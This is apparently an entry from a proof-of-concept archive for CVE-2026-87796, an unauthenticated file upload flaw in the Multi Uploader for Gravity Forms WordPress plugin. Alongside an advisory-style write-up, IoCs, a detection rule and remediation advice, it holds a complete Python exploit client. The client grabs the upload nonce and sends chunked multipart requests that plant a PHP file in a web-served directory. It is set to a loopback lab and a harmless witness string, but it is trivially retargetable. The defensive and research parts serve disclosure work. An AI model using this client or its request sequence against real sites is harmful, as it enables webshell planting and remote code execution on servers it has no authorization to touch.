PoC Archive PoC Archive
CVE-2026-87796 category: web CVSS 9.8 (CRITICAL)
Unverified

Multi Uploader for Gravity Forms Unauthenticated Arbitrary File Upload (CVE-2026-87796)

Published: 2026-11-25 • Researcher: abraxas (Abraxas Labs, @abraxas_null); vendor sh1zen; advisory by Wordfence

Target software Multi Uploader for Gravity Forms (gf-multi-uploader), a WordPress plugin by sh1zen — not the commercial Gravity Forms plugin itself
Affected versions All versions through 1.1.9 inclusive (NVD version ranges are empty; the upstream README and advisory state <= 1.1.9)
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-28
Author / Researcherabraxas (Abraxas Labs, @abraxas_null); vendor sh1zen; advisory by Wordfence
CVE / AdvisoryCVE-2026-87796
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPoC
Tagswordpress, plugin, file-upload, unauthenticated, rce, cwe-434, gravity-forms, chunked-upload, php, ajax
RelatedN/A

Affected Target

FieldValue
Software / SystemMulti Uploader for Gravity Forms (gf-multi-uploader), a WordPress plugin by sh1zen — not the commercial Gravity Forms plugin itself
Versions AffectedAll versions through 1.1.9 inclusive (NVD version ranges are empty; the upstream README and advisory state <= 1.1.9)
Language / PlatformPHP / WordPress (target); Python 3.10+ client in the PoC; Linux Docker lab (WordPress 6.4 + PHP 8.2 Apache, MySQL 8.0)
Authentication RequiredNo
Network Access RequiredYes

Summary

The Multi Uploader for Gravity Forms WordPress plugin fails to validate file types during chunked upload handling, so an unauthenticated attacker can write an arbitrary file into a web-served plugin upload directory. The vulnerable flow is the plugin’s own upload handler reached through the WordPress admin-ajax endpoint, not a method name exposed as an HTTP action. The Abraxas Labs PoC sends a two-chunk multipart upload (a GIF89a header followed by a PHP snippet), then retrieves the landed file from the plugin temporary upload directory and checks for its witness string. The result is arbitrary file write that becomes remote code execution whenever the server executes PHP from that directory.

Vulnerability Details

Root Cause

The advisory attributes the flaw to insufficient file-type validation in the plugin’s move_file logic. In the chunked upload path (handleUpload with chunks>1), the plugin copies the incoming chunk before it validates the file type, whereas the non-chunked path validates first. The write target is the plugin’s temporary upload directory under wp-content/uploads/, and the filename is attacker-controlled, so validation that happens after the copy either inspects the wrong artifact or runs too late to prevent the file from landing.

Attack Vector

An unauthenticated attacker obtains the plugin’s upload nonce (the reference lab exposes it through a REST page lookup on a page with slug gfmu-lab-nonce) and sends multipart POST requests to /wp-admin/admin-ajax.php with action=gfmu-plupload-submit, chunks=2, increasing chunk indexes plus currentFormID/currentFieldID to enable chunking, and attacker-controlled name/filename fields. After the two chunks are merged, the attacker requests the resulting object from /wp-content/uploads/gfmu-uploads-tmp/<name>. Chunked upload must be enabled in the form field settings (chunk_size), otherwise the client fails at the “activate chunking” stage.

Impact

Arbitrary file write to a web-served path. If the written bytes are PHP and the uploads directory allows PHP execution, this yields remote code execution in the context of the web server user, exposing the WordPress database, configuration, and the host. The upstream PoC deliberately writes a non-shell witness to demonstrate the write primitive rather than to weaponize it.

Environment / Lab Setup

Output
OS:          Linux x86_64 (Docker)
Target:      wordpress:6.4-php8.2-apache bound to 127.0.0.1:8088, with
             gf-multi-uploader 1.1.9 active, Gravity Forms installed, and a
             form field configured for chunked uploads
Attacker:    Python 3.10+ (standard library only; http.client)
Tools:       Docker Compose, curl, python3

Setup Steps

Shell script
1
2
3
4
5
6
7
cd lab

curl -L -o /tmp/gf-multi-uploader.1.1.9.zip \
  https://downloads.wordpress.org/plugin/gf-multi-uploader.1.1.9.zip
unzip -q /tmp/gf-multi-uploader.1.1.9.zip   # creates ./gf-multi-uploader/

docker compose up --force-recreate

The upstream README does not include a scripted WordPress bootstrap; it states the lab runs on port 8088 with gf-multi-uploader 1.1.9 plus Gravity Forms, a stub field with chunk_size, and a nonce discoverable from a page with slug gfmu-lab-nonce.

Proof of Concept

Step-by-Step Reproduction

  1. Start the loopback lab — docker compose up --force-recreate from lab/; the stack is bound to 127.0.0.1:8088 only.
  2. Run the client and fetch the nonce — python3 ../CVE-2026-87796-Abraxas-Labs.py from lab/; it requests /?rest_route=/wp/v2/pages&slug=gfmu-lab-nonce and extracts GFMU_NONCE=([A-Za-z0-9]+) from the response.
  3. Send chunk 0 — a multipart POST to /wp-admin/admin-ajax.php with action=gfmu-plupload-submit, the nonce, name/filename set to poc_witness.php, chunks=2, chunk=0, currentFormID=1, currentFieldID=1, and a file part containing the GIF89a header.
  4. Send chunk 1 — same request with chunk=1 and the file part <?php echo 'POC_WITNESS_87796';; the plugin appends it to the previously written chunk.
  5. Retrieve the landed object — parse the JSON response for success.file_id, then GET /wp-content/uploads/gfmu-uploads-tmp/<name> and look for POC_WITNESS_87796 in the body.

Exploit Code

See CVE-2026-87796-Abraxas-Labs.py in this folder (upstream client, unmodified).

Python
1
2
3
4
WITNESS = "POC_WITNESS_87796"
FILENAME = "poc_witness.php"
AJAX_ACTION = "gfmu-plupload-submit"
GIF_HEADER = b"GIF89a\n"

The full client adds a JSON parse of the success.file_id field as the landed filename and compares the string only, so a source-disclosure response for the uploaded .php file would also satisfy its check.

Expected Output

Output
1
SUCCESS CVE-2026-87796

The GET body contains GIF89a followed by POC_WITNESS_87796, and the upload responses contain {"success":true} for the chunk writes and {"result":"success",...} for the merge.

Detection & Indicators of Compromise

  • POSTs to /wp-admin/admin-ajax.php carrying action=gfmu-plupload-submit and multipart fields chunks, chunk, currentFormID, currentFieldID from unauthenticated clients.
  • PHP files (or a GIF89a magic prefix followed by <?php) appearing under wp-content/uploads/gfmu-uploads-tmp/.
  • GET requests for objects in that temporary directory, especially .php names, followed by 200 responses.
  • Plugin uploads directory writes without a corresponding authenticated WordPress session or Gravity Forms form submission.
Output
1
2
203.0.113.9 - - [25/Nov/2026:12:00:00 +0000] "POST /wp-admin/admin-ajax.php HTTP/1.1" 200 231 "-" "-"
203.0.113.9 - - [25/Nov/2026:12:00:01 +0000] "GET /wp-content/uploads/gfmu-uploads-tmp/poc_witness.php HTTP/1.1" 200 41 "-" "-"

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-87796 gf-multi-uploader chunked upload"; \
  content:"gfmu-plupload-submit"; http_client_body; \
  content:"currentFieldID"; http_client_body; nocase; sid:9087796;)

Remediation

ActionDetail
PatchNo public patch exists in the 1.1.9 tag; the upstream README instructs removing the plugin. Apply the vendor fix when a fixed release is published and verify the temporary upload directory no longer receives files.
WorkaroundDeactivate and delete the gf-multi-uploader plugin directory; if it must stay, block action=gfmu-plupload-submit at the WAF and disable chunked uploads in field settings.
Config HardeningDeny PHP execution in wp-content/uploads/ (and the plugin temp directory) at the web server, enforce upload size/type checks at the reverse proxy, keep WordPress and plugins updated, and monitor the uploads tree for PHP content.

References

Notes

Auto-ingested from https://github.com/abraxas/CVE-2026-87796 on 2026-11-25.

Review verdict: the repository contains a real exploit client, not a detector or scanner. The client performs the unauthenticated chunked upload, merges the parts, and verifies the landed object over HTTP against a loopback lab. It is ingested as a limited PoC: it writes a GIF89a plus PHP witness rather than a shell or reverse shell, and the success check is string presence, so it proves the arbitrary-write primitive but not command execution. Chunked uploads must be enabled and the nonce must be reachable through the lab’s gfmu-lab-nonce page; the compose stack expects a gf-multi-uploader directory that the repository does not vendor, so the 1.1.9 plugin must be fetched separately from WordPress.org. Gravity Forms is required for the addon to boot. No public patch is documented for 1.1.9.

License: GNU Affero General Public License v3.0 (see LICENSE); upstream files are archived unmodified with attribution. The lab uses only loopback bindings and disposable credentials. Do not run this client against systems you do not own or have written authorization to test.

CVE-2026-87796-Abraxas-Labs.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
#!/usr/bin/env python3
######################################################################################
#
#        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.
#       d88888 888  "88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b
#      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.
#     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  "Y888b.
#    d88P  888 888  "Y88b 8888888P"     d88P  888    d888b       d88P  888     "Y88b.
#   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       "888
#  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P
# d88P     888 8888888P"  888   T88b d88P     888 d88P   Y88b d88P     888  "Y8888P"
#
#                     888             d8888 888888b.    .d8888b.
#                     888            d88888 888  "88b  d88P  Y88b
#                     888           d88P888 888  .88P  Y88b.
#                     888          d88P 888 8888888K.   "Y888b.
#                     888         d88P  888 888  "Y88b     "Y88b.
#                     888        d88P   888 888    888       "888
#                     888       d8888888888 888   d88P Y88b  d88P
#                     88888888 d88P     888 8888888P"   "Y8888P"
#
#  Website : https://abraxaslabs.tech
#  GitHub  : https://github.com/abraxas
#  Twitter : @abraxas_null
#
#  CVE: CVE-2026-87796 (Critical: 9.8)
#  Vendor: Multi Uploader for Gravity Forms (sh1zen)
#  Versions: Multi Uploader for Gravity Forms <= 1.1.9
#  Impact: Remote Code Execution
#  Requires: gf-multi-uploader 1.1.9 active; unauthenticated POST /wp-admin/admin-ajax.php
#
######################################################################################
#
#  RESEARCH / EDUCATIONAL USE ONLY.
#  Do not run, deploy, or use this material against any host unless you have
#  explicit written permission from both the party hosting this repository
#  and the owner of the target systems.  Found in the wild.
#
######################################################################################

import os as _os
import shutil as _shutil
import sys as _sys
import builtins as _builtins

_ART = {"abraxas": ["        d8888 888888b.   8888888b.         d8888 Y88b   d88P        d8888  .d8888b.", "       d88888 888  \"88b  888   Y88b       d88888  Y88b d88P        d88888 d88P  Y88b", "      d88P888 888  .88P  888    888      d88P888   Y88o88P        d88P888 Y88b.", "     d88P 888 8888888K.  888   d88P     d88P 888    Y888P        d88P 888  \"Y888b.", "    d88P  888 888  \"Y88b 8888888P\"     d88P  888    d888b       d88P  888     \"Y88b.", "   d88P   888 888    888 888 T88b     d88P   888   d88888b     d88P   888       \"888", "  d8888888888 888   d88P 888  T88b   d8888888888  d88P Y88b   d8888888888 Y88b  d88P", " d88P     888 8888888P\"  888   T88b d88P     888 d88P   Y88b d88P     888  \"Y8888P\""], "labs": ["                     888             d8888 888888b.    .d8888b.", "                     888            d88888 888  \"88b  d88P  Y88b", "                     888           d88P888 888  .88P  Y88b.", "                     888          d88P 888 8888888K.   \"Y888b.", "                     888         d88P  888 888  \"Y88b     \"Y88b.", "                     888        d88P   888 888    888       \"888", "                     888       d8888888888 888   d88P Y88b  d88P", "                     88888888 d88P     888 8888888P\"   \"Y8888P\""]}
_CVE = "CVE-2026-87796"
_SITE = "https://abraxaslabs.tech"
_GH = "https://github.com/abraxas"
_XURL = "https://x.com/abraxas_null"
_XH = "@abraxas_null"
_RST = "\033[0m"
_BLD = "\033[1m"


def _on():
    return not _os.environ.get("NO_COLOR")


def _rgb(r, g, b):
    return f"\033[38;2;{r};{g};{b}m" if _on() else ""


_RAIN = [
    (255, 77, 224), (255, 0, 212), (191, 95, 255), (91, 140, 255),
    (0, 210, 255), (0, 255, 249), (57, 255, 20), (180, 255, 70),
    (255, 230, 0), (255, 201, 70), (255, 122, 24), (255, 64, 96),
]


def _lerp(a, b, t):
    return tuple(int(a[i] + (b[i] - a[i]) * t) for i in range(3))


def _rain(x, width):
    if width <= 1:
        return _RAIN[0]
    t = (x / (width - 1)) * (len(_RAIN) - 1)
    i = min(int(t), len(_RAIN) - 2)
    return _lerp(_RAIN[i], _RAIN[i + 1], t - i)


def _logo_line(line, y, n):
    width = max(len(line), 1)
    out = []
    q = False
    for x, ch in enumerate(line):
        if ch == " ":
            out.append(ch)
            continue
        if ch == '"':
            q = not q
            out.append(_rgb(*(255, 201, 70) if q else (255, 230, 0)) + ch)
            continue
        if q:
            out.append(_rgb(255, 230, 0) + ch)
            continue
        r, g, b = _rain(x, width)
        out.append(_rgb(r, g, b) + ch)
    return "".join(out) + _RST


def print_abraxas_banner():
    cols = _shutil.get_terminal_size((120, 30)).columns
    art = _ART["abraxas"] + _ART["labs"]
    art_w = max(len(x) for x in art)
    content_w = min(max(art_w, 88), max(cols - 4, 40))
    box_w = content_w + 4
    if box_w > cols:
        content_w = max(cols - 4, 20)
        box_w = content_w + 4
    cyan, mag = _rgb(0, 255, 249), _rgb(255, 0, 212)
    top = cyan + "╔" + "═" * (box_w - 2) + "╗" + _RST
    mid = mag + "╠" + "═" * (box_w - 2) + "╣" + _RST
    bot = cyan + "╚" + "═" * (box_w - 2) + "╝" + _RST

    def row(vis, rendered, border):
        return _rgb(*border) + "║" + _RST + " " + rendered + _RST + " " + _rgb(*border) + "║" + _RST

    lines = [top]
    title_l, title_r = " ABRAXAS LABS", "analyze · reverse · disclose"
    gap = max(content_w - len(title_l) - len(title_r), 1)
    title = (title_l + " " * gap + title_r)[:content_w].ljust(content_w)
    cells = []
    split, rstart = len(title_l), content_w - len(title_r)
    for i, ch in enumerate(title):
        if ch == " ":
            cells.append(ch)
        elif i < split:
            cells.append(_rgb(0, 255, 249) + _BLD + ch)
        elif i >= rstart:
            cells.append(_rgb(140, 155, 175) + ch)
        else:
            cells.append(ch)
    lines.append(row(title, "".join(cells) + _RST, (0, 255, 249)))
    lines.append(mid)
    cve_l = " " + _CVE
    cve_r = "authorized research only"
    rest = max(content_w - len(cve_l) - len(cve_r), 3)
    midtxt = " local lab ".center(rest)[:rest]
    cve_line = (cve_l + midtxt + cve_r)[:content_w].ljust(content_w)
    cells = []
    le, rs = len(cve_l), content_w - len(cve_r)
    for i, ch in enumerate(cve_line):
        if ch == " ":
            cells.append(ch)
        elif i < le:
            cells.append(_rgb(255, 77, 224) + _BLD + ch)
        elif i >= rs:
            cells.append(_rgb(57, 255, 20) + ch)
        else:
            cells.append(_rgb(255, 0, 212) + ch)
    lines.append(row(cve_line, "".join(cells) + _RST, (255, 0, 212)))
    lines.append(mid)
    n = len(_ART["abraxas"])
    for y, line in enumerate(_ART["abraxas"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    for y, line in enumerate(_ART["labs"]):
        vis = line[:content_w].ljust(content_w)
        lines.append(row(vis, _logo_line(vis, y, n), (255, 0, 212)))
    lines.append(mid)
    for left, right in (("Website", _SITE), ("GitHub", _GH), ("X", _XH + "  " + _XURL)):
        gap = max(content_w - 1 - len(left) - len(right), 1)
        vis = (" " + left + " " * gap + right)[:content_w].ljust(content_w)
        out = []
        left_end = 1 + len(left)
        right_start = content_w - len(right)
        for i, ch in enumerate(vis):
            if ch == " ":
                out.append(ch)
            elif i < left_end:
                out.append(_rgb(255, 230, 0) + ch)
            elif i >= right_start:
                out.append(_rgb(0, 255, 249) + ch)
            else:
                out.append(ch)
        lines.append(row(vis, "".join(out) + _RST, (255, 0, 212)))
    lines.append(bot)
    status = "[*]  abraxas!null ready on #labs   ·   " + _SITE
    scol = []
    for ch in status:
        if ch == " ":
            scol.append(ch)
        elif ch in "[]*":
            scol.append(_rgb(57, 255, 20) + ch)
        elif ch in "·#":
            scol.append(_rgb(255, 77, 224) + ch)
        else:
            scol.append(_rgb(232, 255, 248) + ch)
    lines.append(" " + "".join(scol) + _RST)
    _sys.stdout.write("\n".join(lines) + "\n\n")
    _sys.stdout.flush()


def _cprint(*args, **kwargs):
    sep = kwargs.get("sep", " ")
    s = sep.join(str(a) for a in args)
    low = s.lower()
    if s.startswith("SUCCESS") or "success" == low[:7]:
        col = _rgb(57, 255, 20) + _BLD
    elif s.startswith("FAIL") or low.startswith("fail"):
        col = _rgb(255, 64, 96) + _BLD
    elif "user_id" in low:
        col = _rgb(255, 201, 70) + _BLD
    elif low.startswith("status=") or "status=" in low[:20]:
        col = _rgb(0, 255, 249)
    elif low.startswith("carrier"):
        col = _rgb(255, 0, 212)
    elif s.lstrip().startswith("{") or s.lstrip().startswith("["):
        col = _rgb(255, 230, 0)
    else:
        col = _rgb(232, 255, 248)
    kwargs = dict(kwargs)
    file = kwargs.get("file", _sys.stdout)
    if file is _sys.stdout or file is _sys.stderr:
        _builtins.print(col + s + _RST, **{k: v for k, v in kwargs.items() if k != "sep"})
    else:
        _builtins.print(*args, **kwargs)


print_abraxas_banner()
_builtins.print = _cprint

import http.client
import json
import re
import uuid
from dataclasses import dataclass

LABEL = "CVE-2026-87796"
WITNESS = "POC_WITNESS_87796"
FILENAME = "poc_witness.php"
NONCE_PATH = "/?rest_route=/wp/v2/pages&slug=gfmu-lab-nonce"
AJAX_PATH = "/wp-admin/admin-ajax.php"
UPLOAD_PREFIX = "/wp-content/uploads/gfmu-uploads-tmp/"
AJAX_ACTION = "gfmu-plupload-submit"
NONCE_RE = re.compile(r"GFMU_NONCE=([A-Za-z0-9]+)")
BOUNDARY_PREFIX = "----LabBoundary"
GIF_HEADER = b"GIF89a\n"


@dataclass(frozen=True)
class LabConfig:
    host: str = "127.0.0.1"
    port: int = 8088
    timeout: float = 20.0
    witness: str = WITNESS
    filename: str = FILENAME
    chunk_total: int = 2
    form_id: str = "1"
    field_id: str = "1"


def _chunk_parts(witness: str) -> tuple[bytes, bytes]:
    return (
        GIF_HEADER,
        b"<?php echo '" + witness.encode() + b"';",
    )


def _read_body(response: http.client.HTTPResponse) -> bytes:
    try:
        return response.read()
    except http.client.IncompleteRead as exc:
        return exc.partial or b""


def do_request(
    cfg: LabConfig,
    method: str,
    path: str,
    body: bytes | None = None,
    headers: dict[str, str] | None = None,
) -> tuple[int, bytes]:
    with http.client.HTTPConnection(cfg.host, cfg.port, timeout=cfg.timeout) as conn:
        conn.request(method, path, body, headers or {})
        response = conn.getresponse()
        return response.status, _read_body(response)


def fetch_nonce(cfg: LabConfig) -> str | None:
    status, raw = do_request(cfg, "GET", NONCE_PATH)
    text = raw.decode("utf-8", "replace")
    print(f"nonce GET status={status} len={len(raw)}")
    match = NONCE_RE.search(text)
    return match.group(1) if match else None


def multipart(
    fields: list[tuple[str, str]],
    files: list[tuple[str, str, bytes | str]],
    boundary: str,
) -> bytes:
    chunks: list[str] = []
    for key, value in fields:
        chunks.append("--" + boundary)
        chunks.append(f'Content-Disposition: form-data; name="{key}"')
        chunks.append("")
        chunks.append(value)
    for key, filename, data in files:
        chunks.append("--" + boundary)
        chunks.append(
            f'Content-Disposition: form-data; name="{key}"; filename="{filename}"'
        )
        chunks.append("Content-Type: application/octet-stream")
        chunks.append("")
        chunks.append(data.decode("latin1") if isinstance(data, bytes) else data)
    chunks.append("--" + boundary + "--")
    chunks.append("")
    return "\r\n".join(chunks).encode("latin1")


def send_chunk(
    cfg: LabConfig,
    nonce: str,
    chunk_idx: int,
    total: int,
    data: bytes,
) -> tuple[int, str]:
    boundary = BOUNDARY_PREFIX + uuid.uuid4().hex[:8]
    fields = [
        ("action", AJAX_ACTION),
        ("nonce", nonce),
        ("name", cfg.filename),
        ("filename", cfg.filename),
        ("chunks", str(total)),
        ("chunk", str(chunk_idx)),
        ("currentFormID", cfg.form_id),
        ("currentFieldID", cfg.field_id),
    ]
    files: list[tuple[str, str, bytes | str]] = [("file", cfg.filename, data)]
    raw = multipart(fields, files, boundary)
    status, body = do_request(
        cfg,
        "POST",
        AJAX_PATH,
        raw,
        {"Content-Type": f"multipart/form-data; boundary={boundary}"},
    )
    text = body.decode("utf-8", "replace")
    print(f"chunk {chunk_idx}/{total - 1} status={status} len={len(body)}")
    print(text[:400])
    return status, text


def _landed_name(text: str, fallback: str) -> str:
    try:
        payload = json.loads(text)
        landed = payload.get("success", {}).get("file_id") or fallback
    except (json.JSONDecodeError, AttributeError, TypeError):
        return fallback
    return landed if isinstance(landed, str) else fallback


def main() -> int:
    cfg = LabConfig()
    parts = _chunk_parts(cfg.witness)
    nonce = fetch_nonce(cfg)
    print(f"nonce={nonce}")
    if not nonce:
        print("FAIL no nonce")
        return 1
    send_chunk(cfg, nonce, 0, cfg.chunk_total, parts[0])
    _status, text = send_chunk(cfg, nonce, 1, cfg.chunk_total, parts[1])
    landed = _landed_name(text, cfg.filename)
    get_status, get_body = do_request(cfg, "GET", f"{UPLOAD_PREFIX}{landed}")
    get_text = get_body.decode("utf-8", "replace")
    print(f"get status={get_status} len={len(get_body)}")
    print(get_text[:200])
    compacted = text.replace(" ", "")
    if cfg.witness in get_text:
        print(f"SUCCESS {LABEL}")
        return 0
    if '"result":"success"' in compacted and cfg.witness in get_text:
        print(f"SUCCESS {LABEL}")
        return 0
    print("FAIL no upload witness")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())